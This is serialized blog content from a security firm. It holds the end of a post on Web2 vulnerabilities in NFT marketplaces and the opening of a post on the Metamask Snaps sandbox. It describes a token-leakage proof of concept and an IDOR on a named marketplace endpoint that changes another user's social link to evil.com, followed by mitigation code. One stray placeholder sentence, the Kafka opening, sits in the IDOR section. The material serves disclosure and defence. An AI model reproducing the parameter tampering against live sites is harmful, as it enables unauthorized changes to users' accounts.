occured",{"type":29,"value":161},{"type":24,"tag":1818,"props":34544,"children":34546},{"id":34545},"verification-token-leakage",[34547],{"type":29,"value":34548},"Verification Token Leakage",{"type":24,"tag":25,"props":34550,"children":34551},{},[34552],{"type":29,"value":34553},"When a user signs up for a service or creates an account that requires email verification, the system generates a unique token and sends it to the provided email address.",{"type":24,"tag":25,"props":34555,"children":34556},{},[34557],{"type":29,"value":34558},"This token is usually a random combination of letters, numbers, and symbols that are designed to be difficult to guess. The user is then instructed to verify their email by clicking a link that was sent to their inbox. However, if the email verification flow is not implemented correctly, it can result in security vulnerabilities.",{"type":24,"tag":25,"props":34560,"children":34561},{},[34562,34567],{"type":24,"tag":2655,"props":34563,"children":34564},{},[34565],{"type":29,"value":34566},"Proof of Concept",{"type":29,"value":34568},"\nWhile reviewing the Tensor website source code, we found a feature that allowed us to send verification emails to any email with a spoofed verification link. This could potentially result in the leakage of email verification codes, enabling an attacker to associate a victim’s email with their own account.",{"type":24,"tag":25,"props":34570,"children":34571},{},[34572],{"type":29,"value":34573},"Here's the breakdown.",{"type":24,"tag":25,"props":34575,"children":34576},{},[34577],{"type":29,"value":34578},"First, we send the verification link to a user's email:",{"type":24,"tag":31097,"props":34580,"children":34581},{"style":31099},[34582],{"type":24,"tag":2510,"props":34583,"children":34587},{"src":34584,"alt":34585,"style":34586},"/posts/web2-bug-repellant-instructions/token-leakage.png","token-leakage","max-height:650px;",[],{"type":24,"tag":25,"props":34589,"children":34590},{},[34591],{"type":29,"value":34592},"If the user clicks on the spoofed URL, their token will be stolen, allowing the attacker to link their account to the victim’s email.",{"type":24,"tag":1818,"props":34594,"children":34596},{"id":34595},"idor",[34597],{"type":29,"value":34598},"IDOR",{"type":24,"tag":25,"props":34600,"children":34601},{},[34602],{"type":24,"tag":2655,"props":34603,"children":34604},{},[34605,34607,34614],{"type":29,"value":34606},"As Gregor Samsa awoke one morning from uneasy dreams he found himself transformed in his bed into a gigantic ",{"type":24,"tag":2033,"props":34608,"children":34611},{"href":34609,"rel":34610},"https://cheatsheetseries.owasp.org/cheatsheets/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet.html",[2037],[34612],{"type":29,"value":34613},"insect",{"type":29,"value":161},{"type":24,"tag":25,"props":34616,"children":34617},{},[34618,34620,34626],{"type":29,"value":34619},"During a security assessment of the ",{"type":24,"tag":2033,"props":34621,"children":34624},{"href":34622,"rel":34623},"https://rocki.com",[2037],[34625],{"type":29,"value":31035},{"type":29,"value":34627},", a critical vulnerability known as an Insecure Direct Object Reference (IDOR) was identified within the social link modification functionality. Exploiting this vulnerability enables an attacker to modify the social media links of other users without proper authorization.",{"type":24,"tag":25,"props":34629,"children":34630},{},[34631],{"type":29,"value":34632},"The specific vulnerable endpoint was identified as a POST request to /api/user/modifySocialLink, which is responsible for handling requests to update social media links associated with user accounts. This endpoint requires two parameters: \"newLink\" to specify the desired social media link and \"id\" to indicate the user's ID.",{"type":24,"tag":25,"props":34634,"children":34635},{},[34636],{"type":29,"value":34637},"Now, to exploit this vulnerability, an attacker can intercept or modify the request being sent to the \"POST /api/user/modifySocialLink\" endpoint. By manipulating the \"id\" parameter with the user ID of another user, the attacker is able to bypass proper authorization checks and modify the social media link associated with the targeted user's account.",{"type":24,"tag":25,"props":34639,"children":34640},{},[34641,34643,34649,34651,34656],{"type":29,"value":34642},"Here is an example of a request that modifies another user's social media link to ",{"type":24,"tag":32,"props":34644,"children":34646},{"className":34645},[],[34647],{"type":29,"value":34648},"https://evil.com/",{"type":29,"value":34650},". To achieve this, we simply changed the ",{"type":24,"tag":32,"props":34652,"children":34654},{"className":34653},[],[34655],{"type":29,"value":3231},{"type":29,"value":34657}," field value to one that belongs to another user:",{"type":24,"tag":25,"props":34659,"children":34660},{},[34661],{"type":24,"tag":2510,"props":34662,"children":34664},{"alt":7,"src":34663},"/posts/web2-bug-repellant-instructions/idor-1.png",[],{"type":24,"tag":25,"props":34666,"children":34667},{},[34668],{"type":29,"value":34669},"The following screenshot is the response to our request:",{"type":24,"tag":25,"props":34671,"children":34672},{},[34673],{"type":24,"tag":2510,"props":34674,"children":34676},{"alt":7,"src":34675},"/posts/web2-bug-repellant-instructions/idor-2.png",[],{"type":24,"tag":51,"props":34678,"children":34680},{"id":34679},"preventative-action-steps-for-marketplaces",[34681],{"type":24,"tag":2040,"props":34682,"children":34683},{},[34684],{"type":29,"value":34685},"Preventative Action Steps for Marketplaces",{"type":24,"tag":25,"props":34687,"children":34688},{},[34689],{"type":29,"value":34690},"To mitigate the vulnerabilities we’ve discussed, NFT marketplaces must prioritize the implementation of robust security measures. Below, we outline potential mitigations that can help platforms enhance their security posture and protect users and their valuable digital assets.",{"type":24,"tag":25,"props":34692,"children":34693},{},[34694,34696,34702,34704,34710],{"type":29,"value":34695},"First and foremost, NFT marketplaces should prioritize security by strengthening their input validation and output encoding processes. This can be done by encoding untrusted data with HTML entities in backend or using ",{"type":24,"tag":32,"props":34697,"children":34699},{"className":34698},[],[34700],{"type":29,"value":34701},"innerText",{"type":29,"value":34703}," instead of ",{"type":24,"tag":32,"props":34705,"children":34707},{"className":34706},[],[34708],{"type":29,"value":34709},"innerHTML",{"type":29,"value":34711}," in client-side:",{"type":24,"tag":73,"props":34713,"children":34715},{"className":77,"code":34714,"language":76,"meta":7,"style":7},"document.getElementById('nftCollectionName').innerText = nftCollectionName;\n",[34716],{"type":24,"tag":32,"props":34717,"children":34718},{"__ignoreMap":7},[34719],{"type":24,"tag":83,"props":34720,"children":34721},{"class":85,"line":86},[34722,34726,34730,34735,34739,34744,34748,34752,34756,34761],{"type":24,"tag":83,"props":34723,"children":34724},{"style":137},[34725],{"type":29,"value":32446},{"type":24,"tag":83,"props":34727,"children":34728},{"style":107},[34729],{"type":29,"value":161},{"type":24,"tag":83,"props":34731,"children":34732},{"style":101},[34733],{"type":29,"value":34734},"getElementById",{"type":24,"tag":83,"props":34736,"children":34737},{"style":107},[34738],{"type":29,"value":558},{"type":24,"tag":83,"props":34740,"children":34741},{"style":187},[34742],{"type":29,"value":34743},"'nftCollectionName'",{"type":24,"tag":83,"props":34745,"children":34746},{"style":107},[34747],{"type":29,"value":2554},{"type":24,"tag":83,"props":34749,"children":34750},{"style":137},[34751],{"type":29,"value":34701},{"type":24,"tag":83,"props":34753,"children":34754},{"style":143},[34755],{"type":29,"value":146},{"type":24,"tag":83,"props":34757,"children":34758},{"style":137},[34759],{"type":29,"value":34760}," nftCollectionName",{"type":24,"tag":83,"props":34762,"children":34763},{"style":107},[34764],{"type":29,"value":321},{"type":24,"tag":25,"props":34766,"children":34767},{},[34768],{"type":29,"value":34769},"However, rendering HTML or markdown user input is intended. In these cases, dangerous HTML tags need to be validated and sanitized via consolidated libraries like DomPurify:",{"type":24,"tag":73,"props":34771,"children":34773},{"className":77,"code":34772,"language":76,"meta":7,"style":7},"var sanitizedInput = DOMPurify.sanitize(userInput);\n",[34774],{"type":24,"tag":32,"props":34775,"children":34776},{"__ignoreMap":7},[34777],{"type":24,"tag":83,"props":34778,"children":34779},{"class":85,"line":86},[34780,34785,34790,34794,34799,34803,34808,34812,34817],{"type":24,"tag":83,"props":34781,"children":34782},{"style":90},[34783],{"type":29,"value":34784},"var",{"type":24,"tag":83,"props":34786,"children":34787},{"style":137},[34788],{"type":29,"value":34789}," sanitizedInput",{"type":24,"tag":83,"props":34791,"children":34792},{"style":143},[34793],{"type":29,"value":146},{"type":24,"tag":83,"props":34795,"children":34796},{"style":137},[34797],{"type":29,"value":34798}," DOMPurify",{"type":24,"tag":83,"props":34800,"children":34801},{"style":107},[34802],{"type":29,"value":161},{"type":24,"tag":83,"props":34804,"children":34805},{"style":101},[34806],{"type":29,"value":34807},"sanitize",{"type":24,"tag":83,"props":34809,"children":34810},{"style":107},[34811],{"type":29,"value":558},{"type":24,"tag":83,"props":34813,"children":34814},{"style":137},[34815],{"type":29,"value":34816},"userInput",{"type":24,"tag":83,"props":34818,"children":34819},{"style":107},[34820],{"type":29,"value":581},{"type":24,"tag":25,"props":34822,"children":34823},{},[34824,34826,34833],{"type":29,"value":34825},"This can effectively mitigate the risk of XSS attacks. With that being said, implementing security measures such as ",{"type":24,"tag":2033,"props":34827,"children":34830},{"href":34828,"rel":34829},"https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP",[2037],[34831],{"type":29,"value":34832},"Content-Security-Policy",{"type":29,"value":34834}," (CSP) will help ensure that generated content is rendered safely, without compromising the platform's security.",{"type":24,"tag":25,"props":34836,"children":34837},{},[34838],{"type":29,"value":34839},"Furthermore, a key step is for NFT marketplaces to establish strict file upload policies. By conducting thorough checks on file types and content, platforms can prevent the upload of potentially malicious SVG files. Validating both the file extension and content type will significantly reduce the risk of SVG-based XSS attacks, ensuring a safer user experience.",{"type":24,"tag":25,"props":34841,"children":34842},{},[34843,34845,34852],{"type":29,"value":34844},"Another precaution is to implement secure redirect mechanisms. By implementing a server-side allow-list of trusted domains, NFT marketplaces can prevent open redirect vulnerabilities. This ensures that users are directed only to trusted and intended domains, safeguarding them from potential phishing or malicious attacks where the authentication code is leaked. Here we are showing an example of a secure redirect by applying an ",{"type":24,"tag":2033,"props":34846,"children":34849},{"href":34847,"rel":34848},"https://www.techtarget.com/whatis/definition/whitelist",[2037],[34850],{"type":29,"value":34851},"allow-list",{"type":29,"value":896},{"type":24,"tag":73,"props":34854,"children":34856},{"className":77,"code":34855,"language":76,"meta":7,"style":7},"const allowDomains = ['https://allowed-domain'];\nif (!allowDomains.includes(domain)) {\n  throw new ApolloError('invalid domain');\n}\n",[34857],{"type":24,"tag":32,"props":34858,"children":34859},{"__ignoreMap":7},[34860,34889,34929,34959],{"type":24,"tag":83,"props":34861,"children":34862},{"class":85,"line":86},[34863,34867,34872,34876,34880,34885],{"type":24,"tag":83,"props":34864,"children":34865},{"style":90},[34866],{"type":29,"value":9401},{"type":24,"tag":83,"props":34868,"children":34869},{"style":137},[34870],{"type":29,"value":34871}," allowDomains",{"type":24,"tag":83,"props":34873,"children":34874},{"style":143},[34875],{"type":29,"value":146},{"type":24,"tag":83,"props":34877,"children":34878},{"style":107},[34879],{"type":29,"value":22772},{"type":24,"tag":83,"props":34881,"children":34882},{"style":187},[34883],{"type":29,"value":34884},"'https://allowed-domain'",{"type":24,"tag":83,"props":34886,"children":34887},{"style":107},[34888],{"type":29,"value":1515},{"type":24,"tag":83,"props":34890,"children":34891},{"class":85,"line":113},[34892,34896,34900,34904,34909,34913,34917,34921,34925],{"type":24,"tag":83,"props":34893,"children":34894},{"style":117},[34895],{"type":29,"value":1094},{"type":24,"tag":83,"props":34897,"children":34898},{"style":107},[34899],{"type":29,"value":223},{"type":24,"tag":83,"props":34901,"children":34902},{"style":143},[34903],{"type":29,"value":20362},{"type":24,"tag":83,"props":34905,"children":34906},{"style":137},[34907],{"type":29,"value":34908},"allowDomains",{"type":24,"tag":83,"props":34910,"children":34911},{"style":107},[34912],{"type":29,"value":161},{"type":24,"tag":83,"props":34914,"children":34915},{"style":101},[34916],{"type":29,"value":690},{"type":24,"tag":83,"props":34918,"children":34919},{"style":107},[34920],{"type":29,"value":558},{"type":24,"tag":83,"props":34922,"children":34923},{"style":137},[34924],{"type":29,"value":32456},{"type":24,"tag":83,"props":34926,"children":34927},{"style":107},[34928],{"type":29,"value":704},{"type":24,"tag":83,"props":34930,"children":34931},{"class":85,"line":128},[34932,34937,34941,34946,34950,34955],{"type":24,"tag":83,"props":34933,"children":34934},{"style":117},[34935],{"type":29,"value":34936},"  throw",{"type":24,"tag":83,"props":34938,"children":34939},{"style":90},[34940],{"type":29,"value":944},{"type":24,"tag":83,"props":34942,"children":34943},{"style":101},[34944],{"type":29,"value":34945}," ApolloError",{"type":24,"tag":83,"props":34947,"children":34948},{"style":107},[34949],{"type":29,"value":558},{"type":24,"tag":83,"props":34951,"children":34952},{"style":187},[34953],{"type":29,"value":34954},"'invalid domain'",{"type":24,"tag":83,"props":34956,"children":34957},{"style":107},[34958],{"type":29,"value":581},{"type":24,"tag":83,"props":34960,"children":34961},{"class":85,"line":183},[34962],{"type":24,"tag":83,"props":34963,"children":34964},{"style":107},[34965],{"type":29,"value":464},{"type":24,"tag":25,"props":34967,"children":34968},{},[34969,34971,34978,34980,34987],{"type":29,"value":34970},"As ",{"type":24,"tag":2033,"props":34972,"children":34975},{"href":34973,"rel":34974},"https://graphql.org/",[2037],[34976],{"type":29,"value":34977},"GraphQl",{"type":29,"value":34979}," is widely utilized by NFT marketplaces, it is crucial to understand the reasons behind disabling certain features like ",{"type":24,"tag":2033,"props":34981,"children":34984},{"href":34982,"rel":34983},"https://graphql.org/learn/introspection/",[2037],[34985],{"type":29,"value":34986},"introspection",{"type":29,"value":34988}," in production environments. By disabling introspection, it ensures that clients are unable to query the API's schema, preventing the potential exposure of sensitive information regarding its structure and implementation. Below, we provide an example of how to achieve this using the Apollo server:",{"type":24,"tag":73,"props":34990,"children":34992},{"className":77,"code":34991,"language":76,"meta":7,"style":7},"const server = new ApolloServer({\n  typeDefs,\n  resolvers,\n  introspection: false,\n});\n",[34993],{"type":24,"tag":32,"props":34994,"children":34995},{"__ignoreMap":7},[34996,35025,35037,35049,35065],{"type":24,"tag":83,"props":34997,"children":34998},{"class":85,"line":86},[34999,35003,35008,35012,35016,35021],{"type":24,"tag":83,"props":35000,"children":35001},{"style":90},[35002],{"type":29,"value":9401},{"type":24,"tag":83,"props":35004,"children":35005},{"style":137},[35006],{"type":29,"value":35007}," server",{"type":24,"tag":83,"props":35009,"children":35010},{"style":143},[35011],{"type":29,"value":146},{"type":24,"tag":83,"props":35013,"children":35014},{"style":90},[35015],{"type":29,"value":944},{"type":24,"tag":83,"props":35017,"children":35018},{"style":101},[35019],{"type":29,"value":35020}," ApolloServer",{"type":24,"tag":83,"props":35022,"children":35023},{"style":107},[35024],{"type":29,"value":180},{"type":24,"tag":83,"props":35026,"children":35027},{"class":85,"line":113},[35028,35033],{"type":24,"tag":83,"props":35029,"children":35030},{"style":137},[35031],{"type":29,"value":35032},"  typeDefs",{"type":24,"tag":83,"props":35034,"children":35035},{"style":107},[35036],{"type":29,"value":989},{"type":24,"tag":83,"props":35038,"children":35039},{"class":85,"line":128},[35040,35045],{"type":24,"tag":83,"props":35041,"children":35042},{"style":137},[35043],{"type":29,"value":35044},"  resolvers",{"type":24,"tag":83,"props":35046,"children":35047},{"style":107},[35048],{"type":29,"value":989},{"type":24,"tag":83,"props":35050,"children":35051},{"class":85,"line":183},[35052,35057,35061],{"type":24,"tag":83,"props":35053,"children":35054},{"style":137},[35055],{"type":29,"value":35056},"  introspection:",{"type":24,"tag":83,"props":35058,"children":35059},{"style":90},[35060],{"type":29,"value":8803},{"type":24,"tag":83,"props":35062,"children":35063},{"style":107},[35064],{"type":29,"value":989},{"type":24,"tag":83,"props":35066,"children":35067},{"class":85,"line":203},[35068],{"type":24,"tag":83,"props":35069,"children":35070},{"style":107},[35071],{"type":29,"value":35072},"});\n",{"type":24,"tag":25,"props":35074,"children":35075},{},[35076,35078,35085,35087,35094],{"type":29,"value":35077},"Similarly, when ",{"type":24,"tag":2033,"props":35079,"children":35082},{"href":35080,"rel":35081},"https://www.apollographql.com/blog/apollo-client/performance/batching-client-graphql-queries/",[2037],[35083],{"type":29,"value":35084},"batching",{"type":29,"value":35086}," is enabled, the code should limit the number of queries that can run simultaneously and implement object request rate limiting. This additional measure helps protect the website from potential ",{"type":24,"tag":2033,"props":35088,"children":35091},{"href":35089,"rel":35090},"https://en.wikipedia.org/wiki/Denial-of-service_attack",[2037],[35092],{"type":29,"value":35093},"denial-of-service",{"type":29,"value":35095}," (DoS) attacks.",{"type":24,"tag":25,"props":35097,"children":35098},{},[35099],{"type":29,"value":35100},"Lastly, NFT marketplaces should pay close attention to authentication and authorization controls. Specifically, addressing third-party platform misconfiguration. Applying the least privilege principle is crucial for enhancing security.",{"type":24,"tag":25,"props":35102,"children":35103},{},[35104],{"type":29,"value":35105},"By implementing these security measures, NFT marketplaces can strengthen their security posture, build trust among users, and create a secure environment for the trading and exchange of valuable digital assets.",{"type":24,"tag":35107,"props":35108,"children":35109},"h1",{"id":28683},[35110],{"type":29,"value":18686},{"type":24,"tag":25,"props":35112,"children":35113},{},[35114],{"type":29,"value":35115},"To recap, the presence of Web 2 bugs in NFT marketplaces emphasizes the need to address the underlying security issues within these platforms. Developers must prioritize not only the integrity of on-chain operations, but also the security of off-chain processes. To ensure an overall robust and trustworthy ecosystem for NFT marketplaces, developers should focus on implementing comprehensive security measures across all the components of the marketplace, engage with third party auditor, and test the entire infrastructure as necessary to identify and address any potential vulnerabilities.",{"type":24,"tag":25,"props":35117,"children":35118},{},[35119],{"type":29,"value":35120},"Most of all, it is especially crucial to educate communities about risks and security best practices. By promoting awareness and providing transparent information, platforms can empower users to make informed decisions and protect themselves against potential scams or fraudulent activities.",{"type":24,"tag":51,"props":35122,"children":35124},{"id":35123},"disclaimer",[35125],{"type":29,"value":35126},"Disclaimer",{"type":24,"tag":25,"props":35128,"children":35129},{},[35130],{"type":29,"value":35131},"Despite our consistent efforts to contact the Rocki Marketplace team regarding our findings, we unfortunately have not received a response. As a result, we decided to disclose this matter to our readers. We will continue to closely monitor the situation and remain open in helping their team resolve this issue.",{"type":24,"tag":2584,"props":35133,"children":35134},{},[35135],{"type":29,"value":2588},{"title":7,"searchDepth":113,"depth":113,"links":35137},[35138,35141,35147,35151,35152],{"id":28766,"depth":113,"text":28769,"children":35139},[35140],{"id":2662,"depth":128,"text":2665},{"id":30958,"depth":113,"text":30988,"children":35142},[35143,35144,35145,35146],{"id":31007,"depth":128,"text":31010},{"id":31072,"depth":128,"text":31075},{"id":33888,"depth":128,"text":33891},{"id":34178,"depth":128,"text":34181},{"id":34523,"depth":113,"text":34526,"children":35148},[35149,35150],{"id":34545,"depth":128,"text":34548},{"id":34595,"depth":128,"text":34598},{"id":34679,"depth":113,"text":34685},{"id":35123,"depth":113,"text":35126},"content:blog:2023-08-11-web2-bug-repellant-instructions.md","blog/2023-08-11-web2-bug-repellant-instructions.md","blog/2023-08-11-web2-bug-repellant-instructions",{"_path":35157,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":35158,"description":35159,"author":35160,"image":35161,"date":35163,"isFeatured":16,"onBlogPage":16,"body":35164,"_type":2606,"_id":40160,"_source":2608,"_file":40161,"_stem":40162,"_extension":2611},"/blog/2023-11-01-metamask-snaps","Metamask Snaps: Playing in the Sand","A deep dig into Metamask Snaps. We explore safety considerations, environment design, and break down a property spoofing vulnerability in the Snaps sandboxing layer.",[30952,11],{"src":35162,"height":13368,"width":15},"/posts/metamask-snaps/header.png","2023-11-01",{"type":21,"children":35165,"toc":40141},[35166,35170,35175,35180,35185,35191,35196,35202,35215,35220,35225,35232,35264,35270,35275,35293,35300,35306,35320,35326,35346,35609,35637,35643,35662,36045,36064,36077,36394,36415,36686,36691,36697,36702,36715,36720,36733,36987,37031,37044,37050,37064,37070,37076,37089,37125,37131,37151,37261,37288,37294,37312,37325,37331,37336,37354,37465,37470,37491,37504,37521,37621,37647,37664,37786,37812,37824,37829,37835,37841,37846,37869,37874,37879,37885,37891,37918,38317,38344,38371,38377,38408,38716,38735,38740,38765,38778,38784,38811,39103,39139,39157,39162,39197,39202,39206,39211,39218,39223,39250,40027,40047,40053,40074,40123,40127,40132,40137],{"type":24,"tag":51,"props":35167,"children":35168},{"id":18695},[35169],{"type":29,"value":18698},{"type":24,"tag":25,"props":35171,"children":35172},{},[35173],{"type":29,"value":35174},"Metamask snaps are simple modules that extend Metamask's functionality. These modules can be written by anyone, and provide useful features that the vanilla wallet doesn't.",{"type":24,"tag":25,"props":35176,"children":35177},{},[35178],{"type":29,"value":35179},"Metamask provides a sandboxed environment that allows developers to run Snap code safely, without disclosing or tampering with critical information without user permission.",{"type":24,"tag":25,"props":35181,"children":35182},{},[35183],{"type":29,"value":35184},"In this article, we'll explore exactly how the snap execution environment works. We'll then delve into a unique property spoofing vulnerability we reported in the Metamask Snaps sandbox.",{"type":24,"tag":51,"props":35186,"children":35188},{"id":35187},"sandbox-security",[35189],{"type":29,"value":35190},"Sandbox Security",{"type":24,"tag":25,"props":35192,"children":35193},{},[35194],{"type":29,"value":35195},"In the first part of the article, we'll describe how the Metamask sandbox works, and examine what it's doing to protect the security of Snaps.",{"type":24,"tag":1818,"props":35197,"children":35199},{"id":35198},"permission-based-security",[35200],{"type":29,"value":35201},"Permission-based security",{"type":24,"tag":25,"props":35203,"children":35204},{},[35205,35207,35213],{"type":29,"value":35206},"Each snap is built to have only the permissions it needs to hold. These permissions are specified in the ",{"type":24,"tag":32,"props":35208,"children":35210},{"className":35209},[],[35211],{"type":29,"value":35212},"snap.manifest.json",{"type":29,"value":35214}," file and can be critical to security.",{"type":24,"tag":25,"props":35216,"children":35217},{},[35218],{"type":29,"value":35219},"Snap security is totally centered around the user, whose decisions can provide dangerous permissions to a malicious snap. Metamask warns about the risk of each permission.",{"type":24,"tag":25,"props":35221,"children":35222},{},[35223],{"type":29,"value":35224},"Here are the critical permissions possible to be given to a snap:",{"type":24,"tag":25,"props":35226,"children":35227},{},[35228],{"type":24,"tag":2510,"props":35229,"children":35231},{"alt":7,"src":35230},"/posts/metamask-snaps/permissions.png",[],{"type":24,"tag":16422,"props":35233,"children":35234},{},[35235,35253],{"type":24,"tag":67,"props":35236,"children":35237},{},[35238,35244,35245,35251],{"type":24,"tag":32,"props":35239,"children":35241},{"className":35240},[],[35242],{"type":29,"value":35243},"snap_getBip44Entropy",{"type":29,"value":2287},{"type":24,"tag":32,"props":35246,"children":35248},{"className":35247},[],[35249],{"type":29,"value":35250},"snap_getBip32Entropy",{"type":29,"value":35252}," -> a malicious snap retrieving keypair leads to loss of funds",{"type":24,"tag":67,"props":35254,"children":35255},{},[35256,35262],{"type":24,"tag":32,"props":35257,"children":35259},{"className":35258},[],[35260],{"type":29,"value":35261},"endowment:transaction-insight",{"type":29,"value":35263}," -> a malicious snap getting insights of a transaction before approval can lead to frontrunning attacks",{"type":24,"tag":1818,"props":35265,"children":35267},{"id":35266},"snap-execution-environment",[35268],{"type":29,"value":35269},"Snap execution environment",{"type":24,"tag":25,"props":35271,"children":35272},{},[35273],{"type":29,"value":35274},"Snaps are executed in a totally sandboxed environment which provides a safe context for executing untrusted code, and separates it from the normal execution flow. To accomplish this, Metamask uses 3 layers of security to create this safe environment:",{"type":24,"tag":63,"props":35276,"children":35277},{},[35278,35283,35288],{"type":24,"tag":67,"props":35279,"children":35280},{},[35281],{"type":29,"value":35282},"An isolated iframe",{"type":24,"tag":67,"props":35284,"children":35285},{},[35286],{"type":29,"value":35287},"LavaMoat",{"type":24,"tag":67,"props":35289,"children":35290},{},[35291],{"type":29,"value":35292},"SES (Secure EcmaScript)",{"type":24,"tag":25,"props":35294,"children":35295},{},[35296],{"type":24,"tag":2510,"props":35297,"children":35299},{"alt":7,"src":35298},"/posts/metamask-snaps/environment.png",[],{"type":24,"tag":1818,"props":35301,"children":35303},{"id":35302},"isolated-iframe-layer-1",[35304],{"type":29,"value":35305},"Isolated Iframe - Layer 1",{"type":24,"tag":25,"props":35307,"children":35308},{},[35309,35311,35318],{"type":29,"value":35310},"Snaps empower developers to enhance Metamask's functionality while maintaining a strong security posture. These modules execute within an ",{"type":24,"tag":2033,"props":35312,"children":35315},{"href":35313,"rel":35314},"https://blog.logrocket.com/the-ultimate-guide-to-iframes/",[2037],[35316],{"type":29,"value":35317},"Iframe",{"type":29,"value":35319}," environment, ensuring they are isolated and secure. To facilitate this execution, Metamask takes advantage of an iFrame sandboxing mechanism, allowing snaps to operate in a contained context.",{"type":24,"tag":18631,"props":35321,"children":35323},{"id":35322},"the-framework-metamask-extension-repo",[35324],{"type":29,"value":35325},"The Framework: Metamask-Extension Repo",{"type":24,"tag":25,"props":35327,"children":35328},{},[35329,35331,35337,35339,35345],{"type":29,"value":35330},"The process of snap execution kicks off within the metamask-extension repository's ",{"type":24,"tag":32,"props":35332,"children":35334},{"className":35333},[],[35335],{"type":29,"value":35336},"metamask-controller.js",{"type":29,"value":35338}," file. Here's a glimpse of the relevant ",{"type":24,"tag":2033,"props":35340,"children":35343},{"href":35341,"rel":35342},"https://github.com/MetaMask/metamask-extension/blob/4b23ea8c95bea9ea12336537bb6bda4568a99098/app/scripts/metamask-controller.js#L978",[2037],[35344],{"type":29,"value":32},{"type":29,"value":195},{"type":24,"tag":73,"props":35347,"children":35351},{"className":35348,"code":35349,"language":35350,"meta":7,"style":7},"language-javascript shiki shiki-themes slack-dark","// Import snaps-controllers\n// ...\nconst snapExecutionServiceArgs = {\n  iframeUrl: new URL(process.env.IFRAME_EXECUTION_ENVIRONMENT_URL),\n  messenger: this.controllerMessenger.getRestricted({\n    name: 'ExecutionService',\n  }),\n  setupSnapProvider: this.setupSnapProvider.bind(this),\n};\n\n// Define IFRAME_EXECUTION_ENVIRONMENT_URL\nprocess.env.IFRAME_EXECUTION_ENVIRONMENT_URL =\n  'https://execution.metamask.io/0.36.1-flask.1/index.html';\n// ...\n","javascript",[35352],{"type":24,"tag":32,"props":35353,"children":35354},{"__ignoreMap":7},[35355,35363,35371,35391,35439,35474,35491,35499,35541,35548,35555,35563,35590,35602],{"type":24,"tag":83,"props":35356,"children":35357},{"class":85,"line":86},[35358],{"type":24,"tag":83,"props":35359,"children":35360},{"style":2735},[35361],{"type":29,"value":35362},"// Import snaps-controllers\n",{"type":24,"tag":83,"props":35364,"children":35365},{"class":85,"line":113},[35366],{"type":24,"tag":83,"props":35367,"children":35368},{"style":2735},[35369],{"type":29,"value":35370},"// ...\n",{"type":24,"tag":83,"props":35372,"children":35373},{"class":85,"line":128},[35374,35378,35383,35387],{"type":24,"tag":83,"props":35375,"children":35376},{"style":90},[35377],{"type":29,"value":9401},{"type":24,"tag":83,"props":35379,"children":35380},{"style":137},[35381],{"type":29,"value":35382}," snapExecutionServiceArgs",{"type":24,"tag":83,"props":35384,"children":35385},{"style":143},[35386],{"type":29,"value":146},{"type":24,"tag":83,"props":35388,"children":35389},{"style":107},[35390],{"type":29,"value":125},{"type":24,"tag":83,"props":35392,"children":35393},{"class":85,"line":183},[35394,35399,35403,35408,35412,35417,35421,35426,35430,35435],{"type":24,"tag":83,"props":35395,"children":35396},{"style":137},[35397],{"type":29,"value":35398},"  iframeUrl:",{"type":24,"tag":83,"props":35400,"children":35401},{"style":90},[35402],{"type":29,"value":944},{"type":24,"tag":83,"props":35404,"children":35405},{"style":101},[35406],{"type":29,"value":35407}," URL",{"type":24,"tag":83,"props":35409,"children":35410},{"style":107},[35411],{"type":29,"value":558},{"type":24,"tag":83,"props":35413,"children":35414},{"style":137},[35415],{"type":29,"value":35416},"process",{"type":24,"tag":83,"props":35418,"children":35419},{"style":107},[35420],{"type":29,"value":161},{"type":24,"tag":83,"props":35422,"children":35423},{"style":137},[35424],{"type":29,"value":35425},"env",{"type":24,"tag":83,"props":35427,"children":35428},{"style":107},[35429],{"type":29,"value":161},{"type":24,"tag":83,"props":35431,"children":35432},{"style":137},[35433],{"type":29,"value":35434},"IFRAME_EXECUTION_ENVIRONMENT_URL",{"type":24,"tag":83,"props":35436,"children":35437},{"style":107},[35438],{"type":29,"value":6483},{"type":24,"tag":83,"props":35440,"children":35441},{"class":85,"line":203},[35442,35447,35452,35456,35461,35465,35470],{"type":24,"tag":83,"props":35443,"children":35444},{"style":137},[35445],{"type":29,"value":35446},"  messenger:",{"type":24,"tag":83,"props":35448,"children":35449},{"style":90},[35450],{"type":29,"value":35451}," this",{"type":24,"tag":83,"props":35453,"children":35454},{"style":107},[35455],{"type":29,"value":161},{"type":24,"tag":83,"props":35457,"children":35458},{"style":137},[35459],{"type":29,"value":35460},"controllerMessenger",{"type":24,"tag":83,"props":35462,"children":35463},{"style":107},[35464],{"type":29,"value":161},{"type":24,"tag":83,"props":35466,"children":35467},{"style":101},[35468],{"type":29,"value":35469},"getRestricted",{"type":24,"tag":83,"props":35471,"children":35472},{"style":107},[35473],{"type":29,"value":180},{"type":24,"tag":83,"props":35475,"children":35476},{"class":85,"line":212},[35477,35482,35487],{"type":24,"tag":83,"props":35478,"children":35479},{"style":137},[35480],{"type":29,"value":35481},"    name:",{"type":24,"tag":83,"props":35483,"children":35484},{"style":187},[35485],{"type":29,"value":35486}," 'ExecutionService'",{"type":24,"tag":83,"props":35488,"children":35489},{"style":107},[35490],{"type":29,"value":989},{"type":24,"tag":83,"props":35492,"children":35493},{"class":85,"line":256},[35494],{"type":24,"tag":83,"props":35495,"children":35496},{"style":107},[35497],{"type":29,"value":35498},"  }),\n",{"type":24,"tag":83,"props":35500,"children":35501},{"class":85,"line":270},[35502,35507,35511,35515,35520,35524,35529,35533,35537],{"type":24,"tag":83,"props":35503,"children":35504},{"style":137},[35505],{"type":29,"value":35506},"  